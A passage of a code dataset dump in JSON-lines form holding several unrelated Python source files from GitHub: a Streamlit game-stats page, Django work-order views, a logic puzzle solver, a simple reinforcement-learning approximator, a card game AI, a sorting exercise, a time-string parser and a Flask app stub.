player_id)\n \n if data_type == \"Gold\":\n pd_df = pd.DataFrame(gold_data)\n chart_y = 'totalGold'\n elif data_type == \"Minions\":\n pd_df = pd.DataFrame(minions_data)\n chart_y = 'totalMinions'\n else:\n pd_df = pd.DataFrame(ward_data)\n chart_y = 'totalWardsCleared'\n \n if pd_df.empty:\n if st.session_state['ranked_only']:\n with graph_container:\n st.write(\"Could not find any ranked games in your recent match history.\")\n else:\n with graph_container:\n st.write(\"Could not find any summoners rift games in your recent match history\") \n return\n\n g = alt.Chart(pd_df).mark_line().encode(\n x='timestamp',\n y=chart_y,\n color='game',\n strokeDash='game',\n )\n with graph_container:\n st.altair_chart(g, use_container_width=True) \n\n\ndef display_chart(data_type):\n\n if not timeline_data:\n if st.session_state['ranked_only']:\n with chart_container:\n st.write(\"Could not find any ranked games in your recent match history\")\n\n else:\n with chart_container:\n st.write(\"Could not find any summoners rift games in your recent match history\")\n return\n\n match_index = 0\n chart_children = []\n for timeline_champ_tuple in timeline_data:\n match_index += 1\n player_id = get_player_id(timeline_champ_tuple[0], st.session_state['puuid'])\n subchart_name = timeline_champ_tuple[1] + ' ' + str(match_index)\n if data_type == \"Gold\":\n child_dict = get_total_gold_chart(timeline_champ_tuple[2], player_id, subchart_name)\n elif data_type == \"Damage\":\n child_dict = get_total_damage_chart(timeline_champ_tuple[2], player_id, subchart_name)\n else:\n child_dict = get_total_vision_chart(timeline_champ_tuple[2], player_id, subchart_name)\n chart_children.append(child_dict)\n chart_dict = {\"name\": \"flare\", \"children\": chart_children}\n chart_json = json.dumps(chart_dict)\n if data_type == \"Gold\":\n chart_colour=\"#C89B3C\"\n elif data_type == \"Damage\":\n chart_colour=\"#0397AB\"\n else:\n chart_colour=\"#0AC8B9\"\n\n with chart_container:\n _chart_component(jsonData=json.loads(chart_json), chartColour=chart_colour, key=\"asdf\")\n\n\nif 'puuid' in st.session_state:\n tab1, tab2 = st.tabs([\"Graph\", \"Chart\"])\n with tab1:\n graph_value = st.radio(\"Choose which data to display\", ['Gold', 'Minions', 'Wards Cleared'], horizontal=True)\n graph_container = st.container()\n\n with tab2:\n col1, col2 = st.columns([1, 2])\n with col1:\n chart_value = st.radio(\"Choose which data to display\", ['Gold', 'Damage', 'Vision'], horizontal=True)\n with col2:\n st.write(\"Click a coloured bar to drill down, or click the background to go back up.\")\n chart_container = st.container()\n \n amount_games = st.slider('Select amount of games', 1, 10, 5)\n timeline_data = load_data(st.session_state['puuid'], st.session_state['continent'], st.session_state['ranked_only'], amount_games)\n\n # graph\n if graph_value == 'Gold':\n display_graph('Gold')\n if graph_value == 'Minions':\n display_graph('Minions')\n if graph_value == 'Wards Cleared':\n display_graph('Wards Cleared')\n\n # chart\n if chart_value == 'Gold':\n display_chart('Gold')\n if chart_value == 'Damage':\n display_chart('Damage')\n if chart_value == 'Vision':\n display_chart('Vision')\n \nelse:\n st.write(\"please enter your username on the login screen\")\n","repo_name":"ferdifuchs22/lol-analysis-tool","sub_path":"pages/personal_performance.py","file_name":"personal_performance.py","file_ext":"py","file_size_in_byte":14290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72949655787","text":"from django.shortcuts import render, redirect\n\n# Create your views here.\nfrom django.http import HttpResponse\nfrom django.db import transaction\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import *\nfrom usuarios.forms import *\nfrom vehiculos.forms import *\nfrom usuarios.views import *\n\ndef orden_list(request):\n empresa = get_empresa(request)\n ordenes = Orden.objects.filter(empresa=empresa)\n context = { \n 'ordenes':ordenes\n }\n return render(request, \"ordenes/ordenes_list.html\", context)\n\n@login_required\n@transaction.atomic\ndef orden_form(request):\n empresa = get_empresa(request)\n usuario = Usuario.objects.get(user=request.user)\n cliente_form = ClienteForm()\n vehiculo_form = VehiculoForm()\n orden_form = OrdenForm()\n if request.method == \"POST\":\n cliente_form = ClienteForm(request.POST)\n vehiculo_form = VehiculoForm(request.POST)\n orden_form = OrdenForm(request.POST)\n tipo = request.POST.getlist('tipo')\n marca = request.POST.getlist('marca')\n modelo = request.POST.getlist('modelo')\n placa = request.POST.getlist('placa')\n password = request.POST.getlist('password')\n mecanico = request.POST.getlist('mecanico')\n situacion = request.POST.getlist('situacion')\n observacion = request.POST.getlist('observacion')\n if cliente_form.is_valid() and vehiculo_form.is_valid() and orden_form.is_valid():\n if Cliente.objects.filter(cedula=cliente_form.cleaned_data['cedula']).exists():\n cliente = Cliente.objects.get(cedula=cliente_form.cleaned_data['cedula'])\n if cliente.nombre_apellido != cliente_form.cleaned_data['nombre_apellido']:\n cliente = cliente_form.save()\n else:\n cliente = cliente_form.save()\n for i in range(len(tipo)):\n vehiculo = Vehiculo.objects.create(\n tipo_id = tipo[i],\n marca_id = marca[i],\n empresa = empresa,\n modelo = modelo[i],\n placa = placa[i],\n password = password[i],\n )\n vehiculo.save()\n orden = Orden.objects.create(\n cliente = cliente,\n vehiculo = vehiculo,\n empresa = empresa,\n situacion = situacion[i],\n observacion = observacion[i],\n mecanico_id = mecanico[i],\n )\n orden.save()\n estado_orden = EstadOrden.objects.create(\n estado=orden.estado,\n orden=orden,\n usuario=usuario\n )\n estado_orden.save()\n return redirect('ordenes:orden_list')\n else:\n print(cliente_form.errors)\n print(vehiculo_form.errors)\n print(orden_form.errors)\n context = {\n 'title':\"Crear Orden\",\n 'cliente_form':cliente_form,\n 'vehiculo_form':vehiculo_form,\n 'orden_form':orden_form,\n }\n print(\"**************************\")\n return render(request, \"ordenes/orden_form.html\", context)\n\n context = {\n 'title':\"Crear Orden\",\n 'cliente_form':cliente_form,\n 'vehiculo_form':vehiculo_form,\n 'orden_form':orden_form,\n }\n return render(request, \"ordenes/orden_form.html\", context)\n\n@login_required\n@transaction.atomic\ndef orden_edit(request, orden_pk):\n empresa = get_empresa(request)\n usuario = Usuario.objects.get(user=request.user)\n orden_object = Orden.objects.get(pk=orden_pk)\n vehiculo_form = VehiculoForm(instance=orden_object.vehiculo)\n orden_form = OrdenEditForm(instance=orden_object)\n productos_orden = ProductoOrden.objects.filter(orden=orden_object)\n if request.method == \"POST\":\n vehiculo_form = VehiculoForm(request.POST, instance=orden_object.vehiculo)\n orden_form = OrdenEditForm(request.POST, instance=orden_object)\n pk_productos = request.POST.getlist('pk_producto')\n detalle_productos = request.POST.getlist('detalle_producto')\n cantidad_productos = request.POST.getlist('cantidad_producto')\n precio_productos = request.POST.getlist('precio_producto')\n if vehiculo_form.is_valid() and orden_form.is_valid():\n vehiculo = vehiculo_form.save()\n orden = orden_form.save()\n estado_orden = EstadOrden.objects.create(\n estado=orden.estado,\n orden=orden,\n usuario=usuario\n )\n estado_orden.save()\n for producto in productos_orden:\n if not str(producto.pk) in pk_productos:\n producto.delete()\n\n for i in range(len(pk_productos)):\n if ProductoOrden.objects.filter(producto__pk=int(pk_productos[i]), orden=orden).exists():\n ProductoOrden.objects.filter(producto__pk=int(pk_productos[i])).update(\n detalle=detalle_productos[i],\n cantidad=float(cantidad_productos[i]),\n pvp=float(precio_productos[i]),\n )\n else:\n product = Producto.objects.get(pk=int(pk_productos[i]))\n producto_orden = ProductoOrden.objects.create(\n producto=product,\n detalle=detalle_productos[i],\n orden=orden,\n cantidad=float(cantidad_productos[i]),\n pvp=float(precio_productos[i]),\n )\n producto_orden.save()\n return redirect('ordenes:orden_list')\n else:\n print(cliente_form.errors)\n print(vehiculo_form.errors)\n print(orden_form.errors)\n context = {\n 'title':\"Editar Orden\",\n 'vehiculo_form':vehiculo_form,\n 'orden_form':orden_form,\n 'productos_orden':productos_orden,\n }\n return render(request, \"ordenes/orden_edit.html\", context)\n context = {\n 'title':\"Editar Orden\",\n 'vehiculo_form':vehiculo_form,\n 'orden_form':orden_form,\n 'productos_orden':productos_orden,\n }\n return render(request, \"ordenes/orden_edit.html\", context)\n\n\ndef historial(request, pk):\n orden = Orden.objects.get(pk=pk)\n historiales = EstadOrden.objects.filter(orden=orden)\n\n context = {\n 'historiales':historiales,\n }\n return render(request, \"ordenes/historial.html\", context)\n","repo_name":"JolRobles/mecanica","sub_path":"ordenes/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10318945890","text":"from logic import *\n\nAKnight = Symbol(\"A is a Knight\")\nAKnave = Symbol(\"A is a Knave\")\n\nBKnight = Symbol(\"B is a Knight\")\nBKnave = Symbol(\"B is a Knave\")\n\nCKnight = Symbol(\"C is a Knight\")\nCKnave = Symbol(\"C is a Knave\")\n\n# Puzzle 0\n# A says \"I am both a knight and a knave.\"\nknowledge0 = And(\n Or(AKnight, AKnave), # A is either a knight or a knave\n Not(And(AKnight, AKnave)), # A is not both a knight and a knave\n\n # A says \"I am both a knight and a knave.\"\n Implication(AKnight, And(AKnight, AKnave)), # If A is a knight, then it would be both a knight and a knave\n Implication(AKnave, Not(And(AKnight, AKnave))) # If A is a knave, then it would not be both a knight and a knave\n)\n\n# Puzzle 1\n# A says \"We are both knaves.\"\n# B says nothing.\nknowledge1 = And(\n Or(AKnight, AKnave), # A is either a knight or a knave\n Not(And(AKnight, AKnave)), # A is not both a knight and a knave\n Or(BKnight, BKnave), # B is either a knight or a knave\n Not(And(BKnight, BKnave)), # B is not both a knight and a knave\n\n # A says \"We are both knaves.\"\n Implication(AKnight, And(AKnave, BKnave)), # If A is a knight, then both A and B are knaves\n Implication(AKnave, Not(And(AKnave, BKnave))) # If A is a knave, then both A and B are not knaves\n)\n\n# Puzzle 2\n# A says \"We are the same kind.\"\n# B says \"We are of different kinds.\"\nknowledge2 = And(\n Or(AKnight, AKnave), # A is either a knight or a knave\n Not(And(AKnight, AKnave)), # A is not both a knight and a knave\n Or(BKnight, BKnave), # B is either a knight or a knave\n Not(And(BKnight, BKnave)), # B is not both a knight and a knave\n\n # A says \"We are the same kind.\"\n # If A is a knight, then both A and B are knights OR both A and B are knaves\n Implication(AKnight, Or(And(AKnight, BKnight), And(AKnave, BKnave))),\n # If A is a knave, then both A and B are not knights AND both A and B are not knaves\n Implication(AKnave, Not(Or(And(AKnight, BKnight), And(AKnave, BKnave)))),\n\n # B says \"We are of different kinds.\"\n # If B is a knight, then A and B are of different kinds (A:Knight, B:Knave OR A:Knave, B:Knight)\n Implication(BKnight, Or(And(AKnight, BKnave), And(AKnave, BKnight))),\n # If B is a knave, then A and B are NOT of different kinds\n Implication(BKnave, Not(Or(And(AKnight, BKnave), And(AKnave, BKnight))))\n\n)\n\n# Puzzle 3\n# A says either \"I am a knight.\" or \"I am a knave.\", but you don't know which.\n# B says \"A said 'I am a knave'.\"\n# B says \"C is a knave.\"\n# C says \"A is a knight.\"\n\nknowledge3 = And(\n Or(AKnight, AKnave), # A is either a knight or a knave\n Not(And(AKnight, AKnave)), # A is not both a knight and a knave\n Or(BKnight, BKnave), # B is either a knight or a knave\n Not(And(BKnight, BKnave)), # B is not both a knight and a knave\n Or(CKnight, CKnave), # C is either a knight or a knave\n Not(And(CKnight, CKnave)), # C is not both a knight and a knave\n\n # A says either \"I am a knight.\" or \"I am a knave.\", but you don't know which.\n # If A said \"I am a knight\": If A is a knight, it is a knight. If A is a knave, then it is not a knight.\n # Or, if A said \"I am a knave\": If A is a knight, it is a knave. If A is a knave, it is not a knave.\n Or(And(Implication(AKnight, AKnight), Implication(AKnave, Not(AKnight))),\n And(Implication(AKnight, AKnave), Implication(AKnave, Not(AKnave)))),\n\n # B says \"A said 'I am a knave'.\"\n # If B is a knight, then A said \"I am a knave\".\n # If A said \"I am a knave\": If A is a knight, it is a knave. If A is a knave, it is not a knave.\n Implication(BKnight, And(Implication(AKnight, AKnave), Implication(AKnave, Not(AKnave)))),\n # If B is a knave, then A did not say \"I am a knave\". We put Not() around the second argument of the previous line.\n Implication(BKnave, Not(And(Implication(AKnight, AKnave), Implication(AKnave, Not(AKnave))))),\n\n # B says \"C is a knave.\"\n Implication(BKnight, CKnave), # If B is a knight, then C is a knave\n Implication(BKnave, Not(CKnave)), # If B is a knave, then C is not a knave\n\n # C says \"A is a knight.\"\n Implication(CKnight, AKnight), # If C is a knight, then A is a knight\n Implication(CKnave, Not(AKnight)) # If C is a knave, then A is not a knight\n)\n\n\ndef main():\n symbols = [AKnight, AKnave, BKnight, BKnave, CKnight, CKnave]\n puzzles = [\n (\"Puzzle 0\", knowledge0),\n (\"Puzzle 1\", knowledge1),\n (\"Puzzle 2\", knowledge2),\n (\"Puzzle 3\", knowledge3)\n ]\n for puzzle, knowledge in puzzles:\n print(puzzle)\n if len(knowledge.conjuncts) == 0:\n print(\" Not yet implemented.\")\n else:\n for symbol in symbols:\n if model_check(knowledge, symbol):\n print(f\" {symbol}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"sanvicpatel/Knights","sub_path":"puzzle.py","file_name":"puzzle.py","file_ext":"py","file_size_in_byte":4863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1892660671","text":"import random\n\n\nclass f_approximation():\n def __init__(self, epsilon_param):\n self.no_action = 4\n self.no_weights = 5\n self.weights = self.create_actions_and_weights(self.no_weights, self.no_action)\n self.epsilon_para = epsilon_param\n\n self.discount_factor = 0.95\n self.learning_rate = 0.001\n self.alpha = 0.9\n\n self.previous_decision = None\n self.previous_utility = 0\n self.previous_feature_vec = None\n\n def create_actions_and_weights(self, how_many_weights, no_action):\n list_of_actions = []\n for _ in range(no_action):\n action_0 = [random.uniform(0, 1) for _ in range(how_many_weights)]\n list_of_actions.append(action_0)\n\n return list_of_actions\n\n def make_utilities_out_of_state_vector(self, apple_pos, snake_pos,feature_vec):\n utilities = []\n\n for weight in self.weights:\n utility = 0\n for counter in range(len(feature_vec)):\n utility += feature_vec[counter] * weight[counter]\n utility = utility + weight[-1]\n utilities.append(utility)\n\n return utilities\n\n def make_decision(self, apple_pos, snake_pos,reward):\n feature_vec = [apple_pos[0], apple_pos[1], snake_pos[0], snake_pos[1]]\n utilities = self.make_utilities_out_of_state_vector(apple_pos, snake_pos,feature_vec)\n current_max = max(utilities)\n\n if self.epsilon_greedy(self.epsilon_para):\n\n temp = current_max\n decision = self.find_index_in_the_list(current_max, utilities)\n\n else:\n\n decision = random.choice(range(3))\n temp = utilities[decision]\n\n self.update_weights(reward, current_max, decision, feature_vec)\n self.previous_utility = temp\n self.previous_decision = decision\n self.previous_feature_vec = feature_vec\n return decision\n\n def epsilon_greedy(self, epsilon_param):\n eps = random.uniform(0, 1)\n return True if eps > epsilon_param else False\n\n def update_weights(self, reward, current_max, decision, feature_vec):\n if self.previous_decision !=None:\n td_part = reward+self.discount_factor*current_max - self.previous_utility\n\n weights_to_update = self.weights[decision]\n new_weights =[]\n for index,f in enumerate(feature_vec):\n new_weights.append(weights_to_update[index] + self.learning_rate * td_part * f)\n\n new_weights.append(weights_to_update[-1] + self.learning_rate * td_part)\n self.weights[decision] = new_weights\n #print(self.weights)\n\n\n def restart(self):\n self.previous_decision = None\n self.previous_utility = 0\n self.previous_feature_vec = None\n\n\n def find_index_in_the_list(self, value_to_find, utilities):\n for index,x in enumerate(utilities):\n if x == value_to_find:\n return index\n","repo_name":"FamishedHound/snake-rl","sub_path":"Function_approx/approximator.py","file_name":"approximator.py","file_ext":"py","file_size_in_byte":2962,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"74006213226","text":"from shithead.model.game import Game\nfrom shithead.requests import RequestMove\nfrom shithead.gamemode import GameMode\n\n\nclass AIError(Exception):\n\tpass\n\nclass AI(object):\n\t\"\"\"\n\tThis is a base class for all specific AI implementations.\n\t\"\"\"\n\tdef __init__(self, game):\n\t\tself.game = game\n\n\tdef think(self):\n\t\traise NotImplementedError(\"do not use the AI base class but a class that inherits from it\")\n\n\nclass StraightforwardAI(AI):\n\t\"\"\"\n\tThis is a basic AI that always plays all the cards of lowest possible\n\tplayable rank. This is indeed the basic strategy for shithead.\n\t\"\"\"\n\tdef __init__(self, game):\n\t\tsuper(StraightforwardAI, self).__init__(game)\n\n\tdef think(self):\n\t\tif self.game.curplayeridx == 0: # change to not access local var\n\t\t\traise Exception(\"the computer player is always player 1, but it is player 0s turn\")\n\t\tif self.game.mode == GameMode.DOWNCARDS:\n\t\t\tplaysrc = self.game.curplayer.downcards\n\t\t\t# return the first downcard slot that is not empty:\n\t\t\ti = 0\n\t\t\twhile i < len(playsrc) and playsrc[i] is None:\n\t\t\t\ti+=1\n\t\t\tif i == len(playsrc):\n\t\t\t\traise AIError(\"all downcards were already played\")\n\t\t\treturn RequestMove.play_from_downcards(1, [i])\n\t\telse:\n\t\t\tsrc_collection, smallestplayable = self.findsmallestplayableindices()\n\t\t\tif len(smallestplayable) == 0:\n\t\t\t\treturn RequestMove.take(1)\n\t\t\telse:\n\t\t\t\tif self.game.mode == GameMode.HAND:\n\t\t\t\t\treturn RequestMove.play_from_hand(1, smallestplayable)\n\t\t\t\telif self.game.mode == GameMode.UPCARDS:\n\t\t\t\t\treturn RequestMove.play_from_upcards(1, smallestplayable)\n\t\t\t\telif self.game.mode == GameMode.TAKE_UPCARDS:\n\t\t\t\t\treturn RequestMove.take_upcards(1, smallestplayable)\n\t\t\n\tdef findsmallestplayableindices(self):\n\t\t\"\"\"\n\t\tFinds the index of the smallest playable card, or indices,\n\t\tif there are several cards with the same rank\n\t\t\"\"\"\n\t\t # get collection depending on gamemode:\n\t\tif self.game.mode == GameMode.HAND:\n\t\t\tsrc_coll = self.game.curplayer.hand\n\t\telif self.game.mode in [GameMode.UPCARDS, GameMode.TAKE_UPCARDS]:\n\t\t\tsrc_coll = self.game.curplayer.upcards\n\t\telif self.game.mode == GameMode.DOWNCARDS:\n\t\t\traise AIError(\"we cannot find the smallest playable index from downcards\")\n\n\t\t# create an order of the ranks:\n\t\tspecial = [self.game._settings.invisible, self.game._settings.burn]\n\n\t\tif self.game._minval == self.game._settings.lower:\n\t\t\tr = range(self.game._settings.lower+1) # 0,1,...,minval\n\t\telse:\n\t\t\tr = range(self.game._minval,13) # minval,minval+1,...,12\n\t\torder = [i for i in r if i not in special]\n\t\torder.extend(special) # special cards are last\n\n\t\tindices = []\n\t\tfor rank in order:\n\t\t\tindices = [i for i,x in enumerate(src_coll) if x is not None and x.rank==rank]\n\t\t\t# the src_coll contains cards of this rank:\n\t\t\tif len(indices)>0:\n\t\t\t\tbreak\n\t\treturn src_coll, indices\n","repo_name":"rlefmann/Shithead","sub_path":"shithead/model/ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":2755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38660879941","text":"def bolha(lista):\r\n troca = True\r\n while troca:\r\n troca = False\r\n for x in range(len(lista)-1):\r\n if lista[x] > lista[x+1]:\r\n chave = lista[x]\r\n lista[x] = lista[x+1]\r\n lista[x+1] = chave\r\n troca = True\r\n return lista\r\nimport sys\r\nabre = open(sys.argv[1],\"r\")\r\nsai = open(sys.argv[2],\"w\")\r\nlista=abre.readline().strip('\\n').split(' ')\r\ncarros = int(lista[0])\r\nvoltas = int(lista[1])\r\nif 3 <= carros and carros <=100 and 1<= voltas and voltas <= 100:\r\n pilotos,tempo,aux = [],[],[]\r\n vencedor = \"\"\r\n for i in range(carros):\r\n nums = abre.readline().strip('\\n').split(' ')\r\n soma = 0\r\n pilotos.append(nums)\r\n for a in range(voltas):\r\n numero = nums[a]\r\n eta = int(numero)\r\n soma += eta \r\n tempo.append(soma)\r\n for x in range(len(tempo)):\r\n aux.append(tempo[x])\r\n bolha(aux)\r\n for y in range(3):\r\n if aux[y] in tempo:\r\n corredor = tempo.index(aux[y])\r\n corredor += 1\r\n vencedor += str(corredor)+\"\\n\"\r\n sai.write(vencedor)\r\n sai.close() \r\nelse:\r\n sai.write(\"Intervalo nao permitido\")\r\n sai.close()\r\n","repo_name":"leuthier/UFRPE","sub_path":"victor_leuthier_E4.py","file_name":"victor_leuthier_E4.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70814282347","text":"\"\"\"\n.. codeauthor:: Tsuyoshi Hombashi \n\"\"\"\n\nimport re\nfrom collections import OrderedDict\nfrom dataclasses import dataclass\nfrom decimal import Decimal\nfrom typing import Dict, List, NamedTuple, Optional, Pattern, Union, cast\n\nfrom ._base import HumanReadableValue\nfrom ._common import compile_units_regex_pattern\nfrom ._types import HumanReadableStyle, SupportsUnit, TextUnitsMap, Units\nfrom .error import ParameterError\n\n\ntry:\n from typing import Final\nexcept ImportError:\n # typing.Final and typing.Protocol are only available starting from Python 3.8.\n from ._typing import Final # type: ignore\n\n\n_DAY_STR_UNITS: Final[Units] = (\"d\", \"day\", \"days\")\n_HOUR_STR_UNITS: Final[Units] = (\"h\", \"hour\", \"hours\")\n_MINUTE_STR_UNITS: Final[Units] = (\"m\", \"min\", \"mins\", \"minute\", \"minutes\")\n_SEC_STR_UNITS: Final[Units] = (\"s\", \"sec\", \"secs\", \"second\", \"seconds\")\n_MSEC_STR_UNITS: Final[Units] = (\"ms\", \"msec\", \"msecs\", \"millisecond\", \"milliseconds\")\n_USEC_STR_UNITS: Final[Units] = (\"us\", \"usec\", \"usecs\", \"microsecond\", \"microseconds\")\n\n\nclass TimeUnit(NamedTuple):\n name: str\n regexp: Pattern[str]\n thousand_factor: int\n sixty_factor: int\n day_factor: int\n\n\nclass Time(HumanReadableValue):\n @dataclass(frozen=True)\n class Unit:\n DAY = TimeUnit(\n name=\"days\",\n regexp=compile_units_regex_pattern(_DAY_STR_UNITS, re.IGNORECASE),\n thousand_factor=0,\n sixty_factor=0,\n day_factor=0,\n )\n HOUR = TimeUnit(\n name=\"hours\",\n regexp=compile_units_regex_pattern(_HOUR_STR_UNITS, re.IGNORECASE),\n thousand_factor=0,\n sixty_factor=0,\n day_factor=1,\n )\n MINUTE = TimeUnit(\n name=\"minutes\",\n regexp=compile_units_regex_pattern(_MINUTE_STR_UNITS, re.IGNORECASE),\n thousand_factor=0,\n sixty_factor=1,\n day_factor=1,\n )\n SECOND = TimeUnit(\n name=\"seconds\",\n regexp=compile_units_regex_pattern(_SEC_STR_UNITS, re.IGNORECASE),\n thousand_factor=0,\n sixty_factor=2,\n day_factor=1,\n )\n MILLISECOND = TimeUnit(\n name=\"milliseconds\",\n regexp=compile_units_regex_pattern(_MSEC_STR_UNITS, re.IGNORECASE),\n thousand_factor=1,\n sixty_factor=2,\n day_factor=1,\n )\n MICROSECOND = TimeUnit(\n name=\"microseconds\",\n regexp=compile_units_regex_pattern(_USEC_STR_UNITS, re.IGNORECASE),\n thousand_factor=2,\n sixty_factor=2,\n day_factor=1,\n )\n\n _TEXT_UNITS: Final[TextUnitsMap] = OrderedDict(\n {\n Unit.DAY: _DAY_STR_UNITS,\n Unit.HOUR: _HOUR_STR_UNITS,\n Unit.MINUTE: _MINUTE_STR_UNITS,\n Unit.SECOND: _SEC_STR_UNITS,\n Unit.MILLISECOND: _MSEC_STR_UNITS,\n Unit.MICROSECOND: _USEC_STR_UNITS,\n }\n )\n\n @classmethod\n def get_text_units(cls) -> TextUnitsMap:\n return cls._TEXT_UNITS\n\n @property\n def days(self) -> float:\n return float(self._number * self.__calc_coef(self._from_unit, self.Unit.DAY))\n\n @property\n def hours(self) -> float:\n return float(self._number * self.__calc_coef(self._from_unit, self.Unit.HOUR))\n\n @property\n def minutes(self) -> float:\n return float(self._number * self.__calc_coef(self._from_unit, self.Unit.MINUTE))\n\n @property\n def seconds(self) -> float:\n return float(self._number * self.__calc_coef(self._from_unit, self.Unit.SECOND))\n\n @property\n def milliseconds(self) -> float:\n return float(self._number * self.__calc_coef(self._from_unit, self.Unit.MILLISECOND))\n\n @property\n def microseconds(self) -> float:\n return float(self._number * self.__calc_coef(self._from_unit, self.Unit.MICROSECOND))\n\n @property\n def _text_units(self) -> TextUnitsMap:\n return self._TEXT_UNITS\n\n @property\n def _units(self) -> List[SupportsUnit]:\n return [\n self.Unit.DAY,\n self.Unit.HOUR,\n self.Unit.MINUTE,\n self.Unit.SECOND,\n self.Unit.MILLISECOND,\n self.Unit.MICROSECOND,\n ]\n\n def __init__(\n self, readable_value: str, default_unit: Union[str, SupportsUnit, None] = None\n ) -> None:\n values = re.findall(r\"\\d+\\s*[a-zA-Z]+\", readable_value)\n if len(values) <= 1:\n super().__init__(readable_value, default_unit)\n return\n\n t = _parse(readable_value, default_unit)\n self._default_unit = t._default_unit\n self._number = t._number\n self._from_unit = t._from_unit\n\n assert self._default_unit\n\n def __eq__(self, other) -> bool:\n return self.microseconds == other.microseconds\n\n def __ne__(self, other) -> bool:\n return self.microseconds != other.microseconds\n\n def __lt__(self, other) -> bool:\n return self.microseconds < other.microseconds\n\n def __le__(self, other) -> bool:\n return self.microseconds <= other.microseconds\n\n def __gt__(self, other) -> bool:\n return self.microseconds > other.microseconds\n\n def __ge__(self, other) -> bool:\n return self.microseconds >= other.microseconds\n\n def __add__(self, other: \"Time\") -> \"Time\":\n number = self._number + Decimal(other.get_as(self._from_unit))\n return Time(str(number), default_unit=self._from_unit)\n\n def validate(self, min_value=None, max_value=None) -> None:\n if min_value is not None:\n if not isinstance(min_value, Time):\n min_value = Time(min_value)\n\n if self < min_value:\n raise ParameterError(\n \"time value is too low\",\n expected=f\"greater than or equal to {min_value}\",\n value=self,\n )\n\n if max_value is not None:\n if not isinstance(max_value, Time):\n max_value = Time(max_value)\n\n if self > max_value:\n raise ParameterError(\n \"time value is too high\",\n expected=f\"less than or equal to {max_value}\",\n value=self,\n )\n\n def get_as(self, unit: Union[str, SupportsUnit]) -> float:\n unit_maps: Dict[SupportsUnit, str] = {\n self.Unit.DAY: \"days\",\n self.Unit.HOUR: \"hours\",\n self.Unit.MINUTE: \"minutes\",\n self.Unit.SECOND: \"seconds\",\n self.Unit.MILLISECOND: \"milliseconds\",\n self.Unit.MICROSECOND: \"microseconds\",\n }\n norm_unit = self._normalize_unit(unit)\n assert norm_unit\n\n return getattr(self, unit_maps[norm_unit])\n\n def to_humanreadable(self, style: HumanReadableStyle = \"full\") -> str:\n def _to_unit_str(unit: SupportsUnit, style: str) -> str:\n if style in (\"short\", \"abbr\"):\n return unit.name[0]\n\n if style == \"full\":\n return f\" {unit.name}\"\n\n return unit.name\n\n items: List[str] = []\n\n if self.days >= 1:\n items.append(f\"{int(self.days):d}{_to_unit_str(self.Unit.DAY, style)}\")\n if self.hours % 24 >= 1:\n items.append(f\"{int(self.hours) % 24:d}{_to_unit_str(self.Unit.HOUR, style)}\")\n if self.minutes % 60 >= 1:\n items.append(f\"{int(self.minutes) % 60:d}{_to_unit_str(self.Unit.MINUTE, style)}\")\n if self.seconds % 60 >= 1:\n items.append(f\"{int(self.seconds) % 60:d}{_to_unit_str(self.Unit.SECOND, style)}\")\n if self.milliseconds % 1000 >= 1:\n items.append(\n f\"{int(self.milliseconds) % 1000:d}{_to_unit_str(self.Unit.MILLISECOND, style)}\"\n )\n if self.microseconds % 1000 >= 1:\n items.append(\n f\"{int(self.microseconds) % 1000:d}{_to_unit_str(self.Unit.MICROSECOND, style)}\"\n )\n\n if not items:\n assert self._default_unit\n return f\"0 {self._default_unit.name}\"\n\n return \" \".join(items)\n\n def _normalize_unit(self, unit: Union[str, SupportsUnit, None]) -> Optional[SupportsUnit]:\n if isinstance(unit, TimeUnit):\n return unit\n\n return super()._normalize_unit(unit)\n\n def __calc_coef(self, from_unit: SupportsUnit, to_unit: TimeUnit) -> Decimal:\n from_unit_tu = cast(TimeUnit, from_unit)\n thousand_coef = Decimal(1000 ** (to_unit.thousand_factor - from_unit_tu.thousand_factor))\n sixty_coef = Decimal(60 ** (to_unit.sixty_factor - from_unit_tu.sixty_factor))\n day_coef = Decimal(24 ** (to_unit.day_factor - from_unit_tu.day_factor))\n\n return day_coef * sixty_coef * thousand_coef\n\n\ndef _parse(value: Union[str, Time], default_unit: Union[str, SupportsUnit, None] = None) -> Time:\n if isinstance(value, Time):\n return value\n\n sum: Optional[Time] = None\n\n for item in reversed(re.findall(r\"\\d+\\s*[a-zA-Z]+\", value)):\n t = Time(item, default_unit=default_unit)\n if sum is None:\n sum = t\n else:\n sum += t\n\n assert sum is not None\n\n return sum\n","repo_name":"thombashi/humanreadable","sub_path":"humanreadable/_time.py","file_name":"_time.py","file_ext":"py","file_size_in_byte":9246,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"37"} +{"seq_id":"70970486826","text":"import functools\nimport glob\nimport numpy as np\n\n\ndef _lstrip_filepath(lstrip_str: str, filename: str) -> str:\n strip_len = len(lstrip_str)\n return filename[strip_len:]\n\n\ndef find_by_format(folder_path: str, pathname_pattern: str) -> tuple[np.ndarray, np.ndarray]:\n name_files = np.array(glob.glob(folder_path + pathname_pattern, recursive=True))\n name_files_trimmed = np.array(list(map(functools.partial(_lstrip_filepath, folder_path), name_files)))\n\n return name_files, name_files_trimmed\n","repo_name":"shdaig/BlinkDetection","sub_path":"utils/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7777006081","text":"# Importing the necessary modules and libraries\nfrom flask import Flask, request\nimport os\nfrom routes.blueprint import blueprint\n\ndef create_app():\n app = Flask(__name__) # flask app object\n\n return app\n\n\napp = create_app() # Creating the app\n# Registering the blueprint\napp.register_blueprint(blueprint, url_prefix='/bp')\n\nif __name__ == '__main__': # Running the app\n 